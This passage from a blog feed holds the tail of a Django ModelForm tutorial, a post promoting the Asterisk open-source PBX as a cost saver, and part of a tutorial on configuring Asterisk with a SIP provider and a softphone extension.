&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cpu&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IntegerField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Processing Power&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Total Processing Power in MHz.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">__unicode__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Make the model human readable.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">ServerForm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ModelForm&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Auto generated form to create Server models.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">class&lt;/span> &lt;span class="nc">Meta&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">model&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Server&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Look how much simpler that is! Instead of writing a &lt;code>forms.py&lt;/code> file, and
manually creating a form, we just use &lt;code>ModelForm&lt;/code> to specify a model class that
Django should magically create a form from.&lt;/p>
&lt;p>Lastly, let&amp;rsquo;s see how we can use this new &lt;code>ModelForm&lt;/code> class in an actual view.
It&amp;rsquo;s easy, I promise:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">myapp.models&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Server&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">myapp.models&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">ServerForm&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.template&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">RequestContext&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.shortcuts&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">render_to_response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">create_server&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Create a new Server model.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">method&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;POST&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">form&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ServerForm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">POST&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_valid&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Create a new Server object.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">save&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">form&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ServerForm&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">variables&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">RequestContext&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;form&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">form&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render_to_response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;path/to/template/create.html&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">variables&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>See how easy that is? In only a few lines, we were able to auto-generate a
form from our model class, and then write a simple view which creates a new
&lt;code>Server&lt;/code> model by using the auto-generated form.&lt;/p>
&lt;p>If you&amp;rsquo;re interested in Django&amp;rsquo;s &lt;code>ModelForm&lt;/code>, read the
&lt;a href="https://docs.djangoproject.com/en/dev/topics/forms/modelforms/" title="Django ModelForms">official documentation&lt;/a>, it will answer all of your more in-depth questions.&lt;/p></description></item><item><title>5 Ways to Save Your Company Money by Switching to Asterisk</title><link>https://rdegges.com/2010/5-ways-to-save-your-company-money-by-switching-to-asterisk/</link><pubDate>Thu, 11 Mar 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/5-ways-to-save-your-company-money-by-switching-to-asterisk/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/5-ways-to-save-your-company-money-by-switching-to-asterisk/money-sketch.png" alt="Money Sketch" title="Money Sketch">
&lt;/p>
&lt;p>One huge expense that most companies (small and large) have to absorb at one
point or another is the cost of a phone system (PBX). PBX systems are
extremely expensive (even systems that only support a few users can cost
upwards of $10,000 USD).&lt;/p>
&lt;p>As most companies rely on phone communications, this expense cannot be avoided.
The benefits of having a PBX are numerous and necessary:&lt;/p>
&lt;ul>
&lt;li>A single phone number to reach all employees.&lt;/li>
&lt;li>A single phone number / fax number to put on business cards.&lt;/li>
&lt;li>Lower calling costs using voice over IP (VoIP).&lt;/li>
&lt;li>Get advanced statistics of phone usage.&lt;/li>
&lt;li>Configure auto attendants to route calls to the appropriate people.&lt;/li>
&lt;li>Allow employees to work remotely (even with their cell phones) and avoid the
costs of renting office space.&lt;/li>
&lt;li>And much more&amp;hellip;&lt;/li>
&lt;/ul>
&lt;p>So how can you save money for your company? Switch to &lt;a href="http://www.asterisk.org/" title="Asterisk">Asterisk&lt;/a>, the open
source PBX.&lt;/p>
&lt;h2 id="what-is-asterisk">What is Asterisk?&lt;/h2>
&lt;p>Asterisk is an extremely popular open source PBX system. It costs nothing, can
be installed on almost any computer system, and is stable and reliable.
Equally important is the fact that Asterisk has a large user base, a plethora
of documentation, and tons of developers and consultants who can help you set
it up (even if you aren&amp;rsquo;t a tech person) for cheap.&lt;/p>
&lt;p>So let&amp;rsquo;s get down to business. Here are 5 ways that Asterisk can save your
company money:&lt;/p>
&lt;h2 id="1-its-free">1. It&amp;rsquo;s Free&lt;/h2>
&lt;p>Obviously, the factor which drives most companies to ditch their current PBX is
cost. Asterisk is free, and it is hard to justify paying $10,000 or more for a
small office phone system when the competition offers better functionality,
reliability, and costs nothing.&lt;/p>
&lt;h2 id="2-avoid-licensing">2. Avoid Licensing&lt;/h2>
&lt;p>With most commercial PBX systems, you have to buy into the licensing schemes
that come with them. For example, check out the
&lt;a href="http://www.peppm.org/Products/ShoreTel/price.pdf" title="ShorTel Price List">Shoretel PBX system price list (pdf)&lt;/a> (effective Jan. 1st, 2010).&lt;/p>
&lt;p>Look at those licenses. Every phone you want to hook up requires an extension
license and voice-mail license. And it isn&amp;rsquo;t cheap, either.&lt;/p>
&lt;p>My thought is: why pay recurring costs just to use a phone? You&amp;rsquo;ve already got
to pay for phone service, why not only pay for your hardware, and be done with
it?&lt;/p>
&lt;p>With Asterisk, you&amp;rsquo;ll be paying only for your hardware. This usually includes:&lt;/p>
&lt;ul>
&lt;li>A decent server to install Asterisk on: ~500$ -&amp;gt; ~1,000$.&lt;/li>
&lt;li>VoIP phones for each employee: ~30$ -&amp;gt; ~100$.&lt;/li>
&lt;/ul>
&lt;p>If you want to add a new employee to the system and get a phone, no problem.
Just buy another phone, and plug it into the network.&lt;/p>
&lt;p>If you need to support video calls, no problem. Just purchase a video phone,
and plug it into the network.&lt;/p>
&lt;h2 id="3-make-your-company-portable">3. Make Your Company Portable&lt;/h2>
&lt;p>Let&amp;rsquo;s face it, traditional business is dying out. With high-speed internet
widely available, there is no reason to have a centralized office. There is a
continuously growing amount of new companies which are completely distributed.&lt;/p>
&lt;p>There are a lot of benefits to running a distributed business. You have no
office rental costs. You can hire better workers by selecting from a larger
area (get the best expert in the US instead of the best expert in your city).
And lots of other things.&lt;/p>
&lt;p>Supporting remote workers couldn&amp;rsquo;t be easier in Asterisk. Just ship your
employees a VoIP phone with the IP of your Asterisk PBX programmed in, and
they&amp;rsquo;re instantly online. All they have to do is plug their phone into their
network and they&amp;rsquo;re ready to work.&lt;/p>
&lt;h2 id="4-custom-functionality">4. Custom Functionality&lt;/h2>
&lt;p>With traditional PBX systems, getting unique and custom functionality can be
not only time consuming, but very expensive. And unfortunately, customizing
PBX systems is a very common need for most companies.&lt;/p>
&lt;p>Here are some custom features that companies like to request:&lt;/p>
&lt;ul>
&lt;li>Integrate with their CRM system.&lt;/li>
&lt;li>Integrate with their ticketing system.&lt;/li>
&lt;li>Send custom notices to management when things go wrong.&lt;/li>
&lt;li>After hours call escalation.&lt;/li>
&lt;li>Integrate with web chat and websites (click to call).&lt;/li>
&lt;/ul>
&lt;p>Obviously, things like the above require custom development. When dealing with
large companies (Cisco, Avaya, Shoretel), custom development is insanely
expensive.&lt;/p>
&lt;p>Asterisk has an extremely active business community, filled with thousands of
products specifically designed to work with Asterisk to add almost any
functionality you can imagine to your PBX. Let&amp;rsquo;s say you want to have a queue
system where callers call in, and the system calls them back automatically when
it is their turn in line-there&amp;rsquo;s an app for that!&lt;/p>
&lt;p>And if you can&amp;rsquo;t find an app for what you need, you can always build it
yourself, or hire an Asterisk developer for cheap online.&lt;/p>
&lt;h2 id="5-compete-with-the-big-players">5. Compete With the Big Players&lt;/h2>
&lt;p>Asterisk is a game changing tool for small and medium businesses. It allows
your small company to operate like a large company, free.&lt;/p>
&lt;p>Many small companies get stuck in the &amp;lsquo;small business syndrome&amp;rsquo; where they
never grow beyond a small market audience because their &amp;lsquo;presentation&amp;rsquo; is
small. When customers call your company, and hear a professional auto
attendant, they instantly feel like they&amp;rsquo;re dealing with a professional,
organized company. When customers call a business, and wait for 50 rings
before hearing a choppy sounding answering machine, they are annoyed,
frustrated, and far less likely to return.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Asterisk is a great tool for companies looking to save money, and improve their
communications infrastructure. It has all the functionality (and more) that
large PBX companies (Cisco, Avaya, Shoretel) advertise, and costs nothing.&lt;/p>
&lt;p>If you want to learn more, check out &lt;a href="http://www.asterisk.org/" title="Asterisk">Asterisk&amp;rsquo;s official website&lt;/a>.&lt;/p></description></item><item><title>Transparent Telephony - Part 3 - Making and Receiving Calls Using VoIP</title><link>https://rdegges.com/2010/transparent-telephony-part-3-making-and-receiving-calls-using-voip/</link><pubDate>Wed, 03 Mar 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/transparent-telephony-part-3-making-and-receiving-calls-using-voip/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/transparent-telephony-part-3-making-and-receiving-calls-using-voip/old-telephone-sketch.png" alt="Old Telephone Sketch" title="Old Telephone Sketch">
&lt;/p>
&lt;p>Welcome back to the Transparent Telephony series. If you&amp;rsquo;re a new reader, you
may want to start at the beginning: &lt;a href="https://rdegges.com/2009/transparent-telephony-part-1-an-introduction/" title="Transparent Telephony - Part 1 - An Introduction">Part 1 - An Introduction&lt;/a>.&lt;/p>
&lt;p>In the &lt;a href="https://rdegges.com/2010/transparent-telephony-part-2-installing-asterisk/" title="Transparent Telephony - Part 2 - Installing Asterisk">previous installment&lt;/a>, we walked through installing Asterisk. In
this article, we&amp;rsquo;ll be picking up where we left off and configuring Asterisk to
make and receive phone calls using VoIP!&lt;/p>
&lt;p>Specifically, we&amp;rsquo;ll:&lt;/p>
&lt;ul>
&lt;li>Register an account with a VoIP (voice over IP) provider.&lt;/li>
&lt;li>Configure Asterisk to connect to our VoIP provider.&lt;/li>
&lt;li>Create a SIP extension to make and receive calls from.&lt;/li>
&lt;li>Configure Asterisk rules for making calls.&lt;/li>
&lt;li>Configure Asterisk rules for receiving calls.&lt;/li>
&lt;li>Connect a softphone (software phone) to our Asterisk server as an extension
and use it to make real calls.&lt;/li>
&lt;/ul>
&lt;p>So let&amp;rsquo;s get started!&lt;/p>
&lt;h2 id="getting-a-voip-account">Getting a VoIP Account&lt;/h2>
&lt;p>The first thing we need to do is sign up with a VoIP (voice over IP) provider.
To quote from Part 1 - An Introduction,&lt;/p>
&lt;blockquote>
&lt;p>VoIP (voice over IP) is a relatively new way to connect to the PSTN using the
Internet. VoIP is extremely low-cost compared to other methods, and very
easy to set up as it only requires an active Internet connection to use.
More and more businesses are switching over to VoIP for cost reasons.&lt;/p>
&lt;/blockquote>
&lt;p>There are two main types of VoIP protocols that people use with Asterisk.
There is SIP (session initiation protocol) and IAX (inter-asterisk exchange).
While both of these protocols are still widely in use, SIP has become the
dominant VoIP protocol in today&amp;rsquo;s world. In fact, the term SIP has mostly
replaced VoIP. When speaking to people in the telephony industry, it is common
to hear people say &amp;lsquo;I have so and so as my SIP provider&amp;rsquo;. So from now on,
we&amp;rsquo;ll use that terminology as well.&lt;/p>
&lt;p>Picking a SIP provider is a very important task. If you Google for &amp;lsquo;SIP
providers&amp;rsquo; you&amp;rsquo;ll find thousands of options. Here are the top few I recommend
(I&amp;rsquo;ve experimented with tons of different SIP providers):&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://www.flowroute.com/" title="Flowroute">Flowroute&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://voip.ms/" title="Voip MS">voip.ms&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://vitelity.com/" title="Vitelity">Vitelity&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://bandwidth.com/" title="Bandwidth">Bandwidth&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.voicepulse.com/" title="Voicepulse">Voicepulse&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Flowroute is my favorite SIP provider because they have a great website, low
prices, and business-class reliability. So instead of walking through the set
up for each of the above providers (that would take forever) I&amp;rsquo;ll just cover
Flowroute. If you choose to go with another provider, you can still follow
along with this article and get a sense of what to do.&lt;/p>
&lt;h2 id="create-an-account">Create an Account&lt;/h2>
&lt;p>To create an account with Flowroute, visit their &lt;a href="https://www.flowroute.com/accounts/signup/" title="Flowroute Sign Up Page">sign up page&lt;/a> and fill in
your information. You don&amp;rsquo;t need a credit card, and they&amp;rsquo;ll give you 25 cents
of credit (enough to make approximately 30 minutes of calls). If you want to
be able to receive calls as well as make them, then you&amp;rsquo;ll have to deposit some
money into your account as you&amp;rsquo;ll need to own a DID (more commonly known as
phone number) which costs a bit more than 25 cents.&lt;/p>
&lt;p>Once your account has been created, you&amp;rsquo;ll be directed to the account
dashboard, where, if you want, you can deposit some money via Amazon Payments.&lt;/p>
&lt;h3 id="a-brief-note-on-terminology">A Brief Note on Terminology&lt;/h3>
&lt;p>In the telephony world, SIP accounts are commonly referred to as SIP trunks.
Trunk meaning a single account connection to the PSTN.&lt;/p>
&lt;h2 id="connect-your-sip-trunk-to-asterisk">Connect Your SIP Trunk to Asterisk&lt;/h2>
&lt;p>Now that we&amp;rsquo;ve got a SIP trunk ready for us to use, we need to hook it up to
our Asterisk PBX. To get started, go to your Flowroute account management
page, and navigate to the &amp;lsquo;Interconnection&amp;rsquo; page, then click on the
&amp;lsquo;System Configurator&amp;rsquo; link towards the middle of the page. Next click on the
drop down menu and select &amp;lsquo;Asterisk&amp;rsquo; as this is what we&amp;rsquo;re using. The System
Configurator will give us all of the Asterisk settings we need to put into our
PBX (with only slight modifications required).&lt;/p>
&lt;h3 id="a-brief-note-on-security">A Brief Note on Security&lt;/h3>
&lt;p>Never ever give out any of your SIP account information! If someone knows your
secret and account number, they can easily connect your SIP trunk to their PBX,
and begin placing calls on your tab! This happens frequently as many system
administrators are not familiar with VoIP security, and don&amp;rsquo;t know what
information is valuable, and what isn&amp;rsquo;t.&lt;/p>
&lt;p>A good deal of phone scams and telemarketing campaigns originate from hacked
SIP accounts, so be careful!&lt;/p>
&lt;h3 id="define-your-sip-trunk-registration-string">Define Your SIP Trunk Registration String&lt;/h3>
&lt;p>If you read your System Configurator page, the first thing you&amp;rsquo;ll notice is a
section labeled &lt;code>sip.conf&lt;/code>. The file &lt;code>sip.conf&lt;/code> (located at:
&lt;code>/etc/asterisk/sip.conf&lt;/code>) is the SIP configuration file that Asterisk uses to
define SIP trunks, and other SIP settings. In order to connect our Flowroute
SIP trunk to Asterisk, we&amp;rsquo;ll need to edit this file and add in the SIP trunk
information specified on the System Configurator page of the Flowroute account
dashboard.&lt;/p>
&lt;p>The first bit of the Flowroute instructions say to add the following to
&lt;code>sip.conf&lt;/code> right after general settings:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">allow&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">ulaw&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">allow&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">g729&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">register&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; xxx:xxx@sip.flowroute.com&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So go ahead and open &lt;code>/etc/asterisk/sip.conf&lt;/code> in your favorite text editor (I
prefer vim). You&amp;rsquo;ll notice a lot of text, but ignore it for now. These
configuration options will be covered in another article in this series.&lt;/p>
&lt;p>Scroll down until you see a line that says only: &lt;code>[authentication]&lt;/code>. This line
marks the end of the &lt;code>[general]&lt;/code> section (which is where we need to put the
settings mentioned above). Now go ahead and insert the settings Flowroute gave
you directly above the &lt;code>[authentication]&lt;/code> line. Your configuration file should
now show something like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">allow&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">ulaw&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">allow&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">g729&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">register&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; xxx:xxx@sip.flowroute.com&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">[authentication]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="define-your-nat-network-settings">Define Your NAT Network Settings&lt;/h3>
&lt;p>If you are running your Asterisk PBX behind a router (e.g. your Asterisk system
has a private IP), then you&amp;rsquo;ll need to add the following configurations to your
&lt;code>sip.conf&lt;/code> file directly above the &lt;code>[authentication]&lt;/code> line:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="na">nat&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">yes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">externip&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">xx.xx.xx.xx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">localnet&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">192.168.0.0/255.255.255.0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Where &lt;code>xx.xx.xx.xx&lt;/code> is your external IP (visit &lt;a href="http://ipchicken.com/" title="IP Chicken">IP Chicken&lt;/a> if you don&amp;rsquo;t know
it), &lt;code>192.168.0.0&lt;/code> is your subnet, and &lt;code>255.255.255.0&lt;/code> is your subnet mask. In
this example, I&amp;rsquo;m allowing connections to my Asterisk PBX from any device on
the &lt;code>192.168.0.x&lt;/code> network.&lt;/p>
&lt;p>The reason we need to add our networking information here is because Asterisk
needs to modify the SIP packet headers to ensure that our SIP packets get to
the right destination.&lt;/p>
&lt;h3 id="define-your-sip-trunk">Define Your SIP Trunk&lt;/h3>
&lt;p>The next thing the Flowroute instructions tell us to do is to add the following
near the bottom of &lt;code>sip.conf&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="k">[flowroute]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">friend&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">secret&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">xxx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">username&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">xxx&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">host&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">sip.flowroute.com&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">dtmfmode&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">rfc2833&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">context&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">inbound&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">canreinvite&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">no&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">allow&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">ulaw&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">allow&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">g729&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">insecure&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">port,invite&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">fromdomain&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">sip.flowroute.com&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So go ahead and scroll to the bottom of your &lt;code>sip.conf&lt;/code> file, and then insert
those settings along with a single addition: at the very bottom of your
configurations (on a new line after the &lt;code>fromdomain=sip.flowroute.conf&lt;/code>) line,
insert the following: &lt;code>qualify=yes&lt;/code>, as this will give us some additional
information about our SIP connection later on.&lt;/p>
&lt;h2 id="create-a-sip-extension">Create a SIP Extension&lt;/h2>
&lt;p>Now that we&amp;rsquo;ve set up our SIP trunk, it&amp;rsquo;s time to create an extension. An
extension is just another term for &amp;lsquo;phone&amp;rsquo;. SIP extensions (IP phones) are the
most common type of extensions in use on modern phone systems. Sure, you can
still hook up those old analog phones to your Asterisk PBX, but we&amp;rsquo;ll save that
for another day. Today we&amp;rsquo;ll create a simple SIP extension which we will later
hook up a soft phone to and use to make and receive calls.&lt;/p>
&lt;p>To define a SIP extension, we need to pick several things:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>An extension number.&lt;/strong> This is typically a numeric number, several
digits in length. I&amp;rsquo;ll be using &lt;code>1000&lt;/code> in the following examples.&lt;/li>
&lt;li>&lt;strong>A secret password.&lt;/strong> This is generally an alphanumeric password of any
length used to &amp;lsquo;secure&amp;rsquo; your extension. Any device which wants to make or
receive calls from your extension need to know this password in order to
authenticate. This password does not need to be remembered, and should be
globally unique.&lt;/li>
&lt;/ul>
&lt;h3 id="creating-the-extension">Creating the Extension&lt;/h3>
&lt;p>Now that you&amp;rsquo;ve picked your extension number and secret, let&amp;rsquo;s create it!&lt;/p>
&lt;p>Scroll down to the very bottom of your &lt;code>/etc/asterisk/sip.conf&lt;/code> file, (below
the SIP trunk we created in the previous section), and insert the following
(make sure you swap out my extension number for yours, and my secret for
yours):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="k">[1000]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">friend&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">nat&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">yes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">canreinvite&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">no&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">secret&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">mysecretpassword&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">qualify&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">yes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">mailbox&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">1000@default&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">host&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">dynamic&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">dtmfmode&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">rfc2833&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">dial&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">SIP/1000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">context&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">outgoing&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;ll skip over the configuration options for now, I&amp;rsquo;ll cover these in great
